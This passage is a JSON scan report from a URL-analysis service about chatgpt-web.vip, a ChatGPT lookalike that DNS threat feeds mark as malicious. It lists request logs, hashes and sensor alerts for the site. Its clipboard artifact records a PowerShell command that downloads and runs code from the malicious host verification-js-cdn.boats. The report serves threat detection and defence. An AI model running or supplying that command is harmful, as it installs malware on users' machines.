{"report_id":"0ebfcd77-0b70-4923-a102-01edb6f81918","version":0,"status":"done","tags":[],"date":"2026-06-14T01:17:13Z","url":{"schema":"https","addr":"chatgpt-web.vip/","fqdn":"chatgpt-web.vip","domain":"chatgpt-web.vip","tld":"vip"},"ip":{"addr":"2.27.5.153","port":0,"asn":12576,"as":"EE Limited","country":"United Kingdom","country_code":"GB"},"final":{"url":{"schema":"https","addr":"chatgpt-web.vip/","fqdn":"chatgpt-web.vip","domain":"chatgpt-web.vip","tld":"vip"},"title":"Chat UI","dom":{"size":12165,"mime_type":"text/html; charset=utf-8","magic":"HTML document, Unicode text, UTF-8 text, with very long lines (6319)","md5":"e6625545ae6ba9cc514fac131620f098","sha1":"cc0e11475a5d6007bff6ee93832d0e164f4e67a0","sha256":"97d4a1ff817bf4e00b51abb2d5402b7926b1810ff1bef02257262708711555e7","sha512":"d6003ded11dd813b6272192fd367fcc058a145e715c05a5bac4c39d552c41c0ff60ad873a05388863cb537264abd78de06cbeea60448897374bc050d94373108","ssdeep":"192:bbQwv6K6ALCNMvKjKelg6FobBhpmkJzKfaAa+oFC6uo/QsoQmExFln:bZ4A8q/lJ2VLo5QHhOln","tlshash":"3b42dfe307a4866a33c545c14411b50b6ae8d41b8c2de16cbfd978dfaf5dad2483eb23","dom_hash":"domhashc5ae3f411a71558fef17a73575171464","first_seen":"2026-06-14T01:17:14.815898Z","last_seen":"2026-06-14T01:17:14.815898Z","times_seen":1,"resource_available":false,"data":null}},"submit":{"url":{"schema":"https","addr":"chatgpt-web.vip/","fqdn":"chatgpt-web.vip","domain":"chatgpt-web.vip","tld":"vip"},"ip":{"addr":"2.27.5.153","port":0,"asn":12576,"as":"EE Limited","country":"United Kingdom","country_code":"GB"},"tags":null,"meta":null,"user":{"user_id":"akbkyowd9geqr98"}},"settings":{"access":"public","device_type":"desktop","expires_at":"2027-07-19T01:17:13Z","useragent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0","referer":"","cookies":null,"exit_node":"qguvgzjxzsgb3vs"},"stats":{"alert_count":{"ids":0,"urlquery":0,"analyzer":4}},"detection":{"ids":null,"analyzer":[{"sensor_name":"hagezi","sensor_type":"DNS","title":"Hagezi Threat Feed","description":"Hagezi Threat Feed","scan_date":"2026-06-14","alert":"Sinkholed","trigger":"chatgpt-web.vip","verdict":"malicious","severity":"medium","comment":"","link":"https://github.com/hagezi/dns-blocklists","meta":null},{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-06-14","alert":"Sinkholed","trigger":"chatgpt-web.vip","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null},{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null},"summary":[{"fqdn":"chatgpt-web.vip","ip":{"addr":"2.27.5.153","port":443,"asn":12576,"as":"EE Limited","country":"United Kingdom","country_code":"GB"},"domain_registered":"2026-05-22","domain_rank":0,"first_seen":"2026-05-24T05:39:09.886396Z","last_seen":"2026-06-01T14:00:00.95017Z","alert_count":6,"request_count":3,"received_data":15481,"sent_data":1494,"comment":"","tags":null,"fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]}]},{"fqdn":"verification-js-cdn.boats","ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"domain_registered":"2026-06-12","domain_rank":0,"first_seen":"2026-06-13T14:34:07.765025Z","last_seen":"2026-06-13T14:34:07.765025Z","alert_count":26,"request_count":13,"received_data":106300,"sent_data":7189,"comment":"","tags":null,"fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]}]},{"fqdn":"polygon.gateway.tenderly.co","ip":{"addr":"35.227.193.242","port":443,"asn":396982,"as":"GOOGLE-CLOUD-PLATFORM","country":"United States","country_code":"US"},"domain_registered":"2020-05-11","domain_rank":0,"first_seen":"2025-08-03T10:23:07.273214Z","last_seen":"2026-06-06T10:15:50.774555Z","alert_count":0,"request_count":1,"received_data":378,"sent_data":557,"comment":"","tags":null,"fingerprints":[{"name":"Google Cloud CDN","description":"Cloud CDN uses Google's global edge network to serve content closer to users.","website":"https://cloud.google.com/cdn","common_platform_enumeration":"","icon":"google-cloud-cdn.svg","categories":["CDN"]},{"name":"Google Cloud","description":"Google Cloud is a suite of cloud computing services.","website":"https://cloud.google.com","common_platform_enumeration":"cpe:2.3:a:google:cloud_platform:*:*:*:*:*:*:*:*","icon":"Google Cloud.svg","categories":["IaaS"]},{"name":"Envoy","description":"Envoy is an open-source edge and service proxy, designed for cloud-native applications.","website":"https://www.envoyproxy.io/","common_platform_enumeration":"cpe:2.3:a:envoyproxy:envoy:*:*:*:*:*:*:*:*","icon":"Envoy.png","categories":["Reverse proxies"]}]}],"files":null,"artifacts":{"windows_shortcuts":null,"files":null,"telegram":null,"pdfs":null,"clipboard":[{"source":"clipboard","content":"powershell -c \"iex(irm 'verification-js-cdn.boats/8bb46e6700d08b3f' -UseBasicParsing)\""}]},"sensors":{"ids":null,"analyzer":null,"urlquery":null},"javascript":{"script":[{"url":{"schema":"https","addr":"chatgpt-web.vip/","fqdn":"chatgpt-web.vip","domain":"chatgpt-web.vip","tld":"vip"},"ip":{"addr":"2.27.5.153","port":443,"asn":12576,"as":"EE Limited","country":"United Kingdom","country_code":"GB"},"introduction_type":"scriptElement","is_inline":true,"md5":"13dec097d895f0468f270ae12ac331b6","sha1":"5e8c16efb7dc82a9d43ee960cd41a9b7fd203a2f","sha256":"a5a0ffc3dd5a865e3bf83a156f55c23be77f7bc667eb23a29308e52a69809cea","sha512":"d00ebc55bd636c01c10fc606583a03ec994e6390684a5119d28ad77f219fc3b8438552aa76474a6b8a0c352331af9752747b5c110bfd0f3bc474c5a8cdfdfb95","ssdeep":"96:QOpTDomCAMpjzT3LvxX35CpdCJzHgd2mfah+a+oFUDzWugaByzVhqi40g1+doGwA:DFobBhpmkJzKfaAa+oFC6uo/QsoQj","tlshash":"5dd19fe30368c66e63c406d54516b10b8ee4d82b9c3da19dbf91b9dff42e692447cb23","size":6319,"data":"","first_seen":"2026-06-14T01:17:14.826329Z","last_seen":"2026-06-14T01:17:14.826329Z","times_seen":1,"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"chatgpt-web.vip/","fqdn":"chatgpt-web.vip","domain":"chatgpt-web.vip","tld":"vip"},"ip":{"addr":"2.27.5.153","port":443,"asn":12576,"as":"EE Limited","country":"United Kingdom","country_code":"GB"},"introduction_type":"Function","is_inline":false,"md5":"e9b6c4f2120c103ecaa232b24c7b2a4d","sha1":"62fb01acab2a267f0bd91b7f281028dbf8b56d87","sha256":"3fa0fa0b17dcc3e8d7996d4ec3abc2c92d39c3e3dc72ab6d64f5f74a37bee467","sha512":"b9e92a9f83b11ae829682cc800885e3ec0727ccfcb5d0909e77951d8e5f28d6f2596aea0cc693887b59011a2bb4c231cab89af46b53eb0c9b4e17d44f4d511bb","ssdeep":"","tlshash":"c44163df76e2c298029178f380bf6c0cd0773a058cdc89a4d224f8502c7be59ea74a98","size":2256,"data":"","first_seen":"2026-06-14T01:17:14.827866Z","last_seen":"2026-06-14T01:17:14.827866Z","times_seen":1,"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php?s=65eea44dce7b9e74c17103bbf62b607d942446563bf06f36","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"introduction_type":"scriptElement","is_inline":false,"md5":"4fa25ab0ef3815c32bf7664df61ee834","sha1":"e31c859c77b271717e680a1d242031c4b9527517","sha256":"6f867e082ac133e3d54db62af12d17c684250000e2d5e75178d0c805f19f7547","sha512":"213863ebe0c9ea807e99456564e6fa6c7d0a6dbdfe8662521d99dd0f89e0dd7cbac6ad9cc5a55f1cd347309c430d2af3e8e178bde19ae7861b3e0c74a5e0f413","ssdeep":"768:iqGJrFEtzvRrSbO1YUmAw+S79zpS2mHqFVzwAY:h","tlshash":"80839753d7ca0b68f05c0ed662587517a0e09c2f352276b9efc329a7bc2de5278b5630","size":82788,"data":"","first_seen":"2026-06-14T01:17:14.819536Z","last_seen":"2026-06-14T01:17:14.819536Z","times_seen":1,"alerts":{"ids":null,"analyzer":null,"urlquery":null}},{"url":{"schema":"https","addr":"chatgpt-web.vip/","fqdn":"chatgpt-web.vip","domain":"chatgpt-web.vip","tld":"vip"},"ip":{"addr":"2.27.5.153","port":443,"asn":12576,"as":"EE Limited","country":"United Kingdom","country_code":"GB"},"introduction_type":"Function","is_inline":false,"md5":"18708cf09215daaf934c16714528a661","sha1":"a78c19853c32461f355f7a9167dcbb68010b1fa0","sha256":"80092161a4220640c74660b899d3528b04a0e72c6a88d96d46085460b80a21b4","sha512":"37d1e81fe486837eaeeb0acc01cd3f34e6fc1cecc4fff99aa49e4b67738ff7a34b5867e2937a813252733ff81f62459e1b96216b85a56dcb37f2690e01747d58","ssdeep":"384:pSGHsVrRrdXg1t712/pGAbw2vKUd4nEbHxofn/HqkvfAN+NPMF+IU:pSGHWrRroaIps4nEqn/KKuu","tlshash":"b2b219f5b2b5103c0093108be93afece70791404c966c736de79b657e694a07637bb68","size":25026,"data":"","first_seen":"2026-06-14T01:17:14.829693Z","last_seen":"2026-06-14T01:17:14.829693Z","times_seen":1,"alerts":{"ids":null,"analyzer":null,"urlquery":null}}],"eval":null,"write":null,"console":null},"http":[{"url":{"schema":"https","addr":"chatgpt-web.vip/favicon.ico","fqdn":"chatgpt-web.vip","domain":"chatgpt-web.vip","tld":"vip"},"ip":{"addr":"2.27.5.153","port":443,"asn":12576,"as":"EE Limited","country":"United Kingdom","country_code":"GB"},"is_navigation_request":false,"resource_type":"img","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:16:52.360Z","timestamp":1781399812360,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_128_GCM_SHA256","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"chatgpt-web.vip","organization":""},"issuer":{"commonName":"R12","organization":"Let's Encrypt"},"validity":{"start":"Fri, 22 May 2026 22:10:18 GMT","end":"Thu, 20 Aug 2026 22:10:17 GMT"},"fingerprint":{"sha1":"D7:11:FC:ED:78:81:A2:A1:D9:18:F6:69:D8:EE:51:2A:34:5C:11:1C","sha256":"2C:AF:7B:5B:8A:BC:A4:3B:FC:D4:71:82:02:DF:5D:4E:86:C4:D0:2D:E2:1E:FD:D9:17:23:95:C3:7D:6A:B4:07"}}},"request":{"raw":"GET /favicon.ico HTTP/1.1\r\nHost: chatgpt-web.vip\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://chatgpt-web.vip/\r\nSec-Fetch-Dest: image\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: same-origin\r\nPriority: u=6\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 404 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:16:52 GMT\r\ncontent-type: text/html; charset=utf-8\r\nvary: Accept-Encoding\r\nlast-modified: Sat, 30 May 2026 04:41:22 GMT\r\netag: W/\"b52-6530192bf5b97\"\r\nstrict-transport-security: max-age=31536000;\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"404","status_text":"","fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]}],"data":{"size":2898,"size_decoded":1633,"mime_type":"text/html; charset=utf-8","magic":"HTML document, ASCII text, with very long lines (634)","md5":"f01ba522c3539135df33250082846848","sha1":"af31de06cf3d07cf83f104af8755b0cc5222ffc6","sha256":"2e8deb28946a6b41ccb927eaa43bbaa78ea82cef39a40638f2e5afa8e90e73ca","sha512":"5ca1b1d3c6f8e1948574a743bd6f58d9f430f9a576c9e656958dda81546a6b0baf0c02ff1b084640351a2bc44ba644e0f671aef0e2ff30981feec2af47764ee6","ssdeep":"","tlshash":"08515194c71c649fd35e24e6293e22c0282f8cb669a3ce7bbc77b174d6c800c87395a5","first_seen":"2025-04-07T04:58:47.339843Z","last_seen":"2026-09-21T11:46:47.499625Z","times_seen":7866,"resource_available":true,"data":null}},"time_used":66,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":66,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"hagezi","sensor_type":"DNS","title":"Hagezi Threat Feed","description":"Hagezi Threat Feed","scan_date":"2026-06-14","alert":"Sinkholed","trigger":"chatgpt-web.vip","verdict":"malicious","severity":"medium","comment":"","link":"https://github.com/hagezi/dns-blocklists","meta":null},{"sensor_name":"dns4eu","sensor_type":"DNS","title":"DNS4EU","description":"DNS4EU","scan_date":"2026-06-14","alert":"Sinkholed","trigger":"chatgpt-web.vip","verdict":"malicious","severity":"medium","comment":"","link":"https://www.joindns4.eu/","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php?s=65eea44dce7b9e74c17103bbf62b607d942446563bf06f36","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"script","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:16:52.848Z","timestamp":1781399812848,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"verification-js-cdn.boats","organization":""},"issuer":{"commonName":"YR1","organization":"Let's Encrypt"},"validity":{"start":"Fri, 12 Jun 2026 23:02:25 GMT","end":"Thu, 10 Sep 2026 23:02:24 GMT"},"fingerprint":{"sha1":"61:BF:1F:D5:38:A7:CC:A0:4B:C2:0C:8A:7E:13:88:EB:EF:90:21:F9","sha256":"A2:60:F1:6C:75:E5:21:B8:B8:7D:D0:BC:2F:54:59:37:B4:3E:A8:3F:89:76:02:EF:4A:AD:B3:4F:7B:51:44:56"}}},"request":{"raw":"GET /api.php?s=65eea44dce7b9e74c17103bbf62b607d942446563bf06f36 HTTP/1.1\r\nHost: verification-js-cdn.boats\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-Fetch-Storage-Access: none\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://chatgpt-web.vip/\r\nSec-Fetch-Dest: script\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: cross-site\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:16:53 GMT\r\ncontent-type: application/javascript; charset=utf-8\r\nvary: Accept-Encoding\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type\r\ncache-control: no-store, no-cache, must-revalidate\r\npragma: no-cache\r\nx-content-type-options: nosniff\r\nstrict-transport-security: max-age=31536000\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]}],"data":{"size":82788,"size_decoded":12958,"mime_type":"application/javascript; charset=utf-8","magic":"ASCII text, with very long lines (65536), with no line terminators","md5":"4fa25ab0ef3815c32bf7664df61ee834","sha1":"e31c859c77b271717e680a1d242031c4b9527517","sha256":"6f867e082ac133e3d54db62af12d17c684250000e2d5e75178d0c805f19f7547","sha512":"213863ebe0c9ea807e99456564e6fa6c7d0a6dbdfe8662521d99dd0f89e0dd7cbac6ad9cc5a55f1cd347309c430d2af3e8e178bde19ae7861b3e0c74a5e0f413","ssdeep":"768:iqGJrFEtzvRrSbO1YUmAw+S79zpS2mHqFVzwAY:h","tlshash":"80839753d7ca0b68f05c0ed662587517a0e09c2f352276b9efc329a7bc2de5278b5630","first_seen":"2026-06-14T01:17:14.819536Z","last_seen":"2026-06-14T01:17:14.819536Z","times_seen":1,"resource_available":true,"data":null}},"time_used":680,"timings":{"blocked":0,"dns":63,"connect":89,"send":0,"wait":375,"receive":0,"ssl":152},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:16:53.573Z","timestamp":1781399813573,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"verification-js-cdn.boats","organization":""},"issuer":{"commonName":"YR1","organization":"Let's Encrypt"},"validity":{"start":"Fri, 12 Jun 2026 23:02:25 GMT","end":"Thu, 10 Sep 2026 23:02:24 GMT"},"fingerprint":{"sha1":"61:BF:1F:D5:38:A7:CC:A0:4B:C2:0C:8A:7E:13:88:EB:EF:90:21:F9","sha256":"A2:60:F1:6C:75:E5:21:B8:B8:7D:D0:BC:2F:54:59:37:B4:3E:A8:3F:89:76:02:EF:4A:AD:B3:4F:7B:51:44:56"}}},"request":{"raw":"POST /api.php HTTP/1.1\r\nHost: verification-js-cdn.boats\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://chatgpt-web.vip/\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 226\r\nOrigin: https://chatgpt-web.vip\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:16:53 GMT\r\ncontent-type: text/plain; charset=utf-8\r\nvary: Accept-Encoding\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type\r\ncache-control: no-store, no-cache\r\nstrict-transport-security: max-age=31536000\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]},{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]}],"data":{"size":17832,"size_decoded":6792,"mime_type":"text/plain; charset=utf-8","magic":"ASCII text, with very long lines (17832), with no line terminators","md5":"a1f03b7e98eec104f64b56c5a5ff811a","sha1":"f0f933ca06108529766e75cfaaa8d8e646679eb8","sha256":"db0ae3d39ae66855a99adf0de14b9739bbb911f6d0f0926747f4f523a34cf789","sha512":"0d55889a69f93ff1d27bf312cf09bd1c4dd923a64e7fa67ea8cfd6f04c5c7a1c5bfb3e3facd74a6a543ca99a0443ab2cc8f491be02bb37cfe9ea8f86ea3223ba","ssdeep":"384:f4vIuHGhayIaD3Lba9i1M+yTh5KyJBC30O8nhH:f4vIumhxvD3i9ifCkyJBC3T8d","tlshash":"448281b4e95dc864c9efdb72283c3ff6a67435e38ede5a18035caed87c102395a98405","first_seen":"2026-06-14T01:17:14.821163Z","last_seen":"2026-06-14T01:17:14.821163Z","times_seen":1,"resource_available":false,"data":null}},"time_used":376,"timings":{"blocked":0,"dns":0,"connect":93,"send":0,"wait":185,"receive":0,"ssl":98},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net GmbH","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://chatgpt-web.vip/","date":"2026-06-14T01:17:06.972Z","timestamp":1781399826972,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"verification-js-cdn.boats","organization":""},"issuer":{"commonName":"YR1","organization":"Let's Encrypt"},"validity":{"start":"Fri, 12 Jun 2026 23:02:25 GMT","end":"Thu, 10 Sep 2026 23:02:24 GMT"},"fingerprint":{"sha1":"61:BF:1F:D5:38:A7:CC:A0:4B:C2:0C:8A:7E:13:88:EB:EF:90:21:F9","sha256":"A2:60:F1:6C:75:E5:21:B8:B8:7D:D0:BC:2F:54:59:37:B4:3E:A8:3F:89:76:02:EF:4A:AD:B3:4F:7B:51:44:56"}}},"request":{"raw":"POST /api.php HTTP/1.1\r\nHost: verification-js-cdn.boats\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://chatgpt-web.vip/\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 194\r\nOrigin: https://chatgpt-web.vip\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: cross-site\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"POST"},"response":{"raw":"HTTP/2 200 \r\nserver: nginx\r\ndate: Sun, 14 Jun 2026 01:17:07 GMT\r\ncontent-type: text/plain; charset=utf-8\r\nvary: Accept-Encoding\r\naccess-control-allow-origin: *\r\naccess-control-allow-methods: GET, POST, OPTIONS\r\naccess-control-allow-headers: Content-Type\r\ncache-control: no-store, no-cache\r\nstrict-transport-security: max-age=31536000\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"","fingerprints":[{"name":"Nginx","description":"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.","website":"https://nginx.org/en","common_platform_enumeration":"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*","icon":"Nginx.svg","categories":["Web servers","Reverse proxies"]},{"name":"HSTS","description":"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.","website":"https://www.rfc-editor.org/rfc/rfc6797#section-6.1","common_platform_enumeration":"","icon":"","categories":["Security"]}],"data":{"size":68,"size_decoded":451,"mime_type":"text/plain; charset=utf-8","magic":"ASCII text, with no line terminators","md5":"67d9e5fae9b84107c6e85de31033524e","sha1":"058de18e0183099c11e5ff6b41b11f148030a9c1","sha256":"b8c6d9d546a064fcb530ab2acd1984a9d7205a8d8504004eac58a07953a26c54","sha512":"a8c7eb4f638929579a915775a886f1bdbb6a8906b68ad7db035d276971d26fdc19bfc5f02dea5530eb1b2cf106368d90d55929e0b63a515ca03a8c422fd0b7d0","ssdeep":"","tlshash":"64a002944a66a0f256457257447ae3a37afd05b24da704ed12686550ff46b219024485","first_seen":"2026-06-14T01:17:14.822353Z","last_seen":"2026-09-12T17:35:26.756645Z","times_seen":4,"resource_available":true,"data":null}},"time_used":113,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":113,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"ultradns","sensor_type":"DNS","title":"DigiCert UltraDNS","description":"DigiCert UltraDNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"","link":"https://vercara.digicert.com/ultra-dns-public","meta":null},{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-06-13","alert":"Sinkholed","trigger":"verification-js-cdn.boats","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"verification-js-cdn.boats/api.php","fqdn":"verification-js-cdn.boats","domain":"verification-js-cdn.boats","tld":"boats"},"ip":{"addr":"178.16.52.101","port":443,"asn":40999,"as":"dus.net 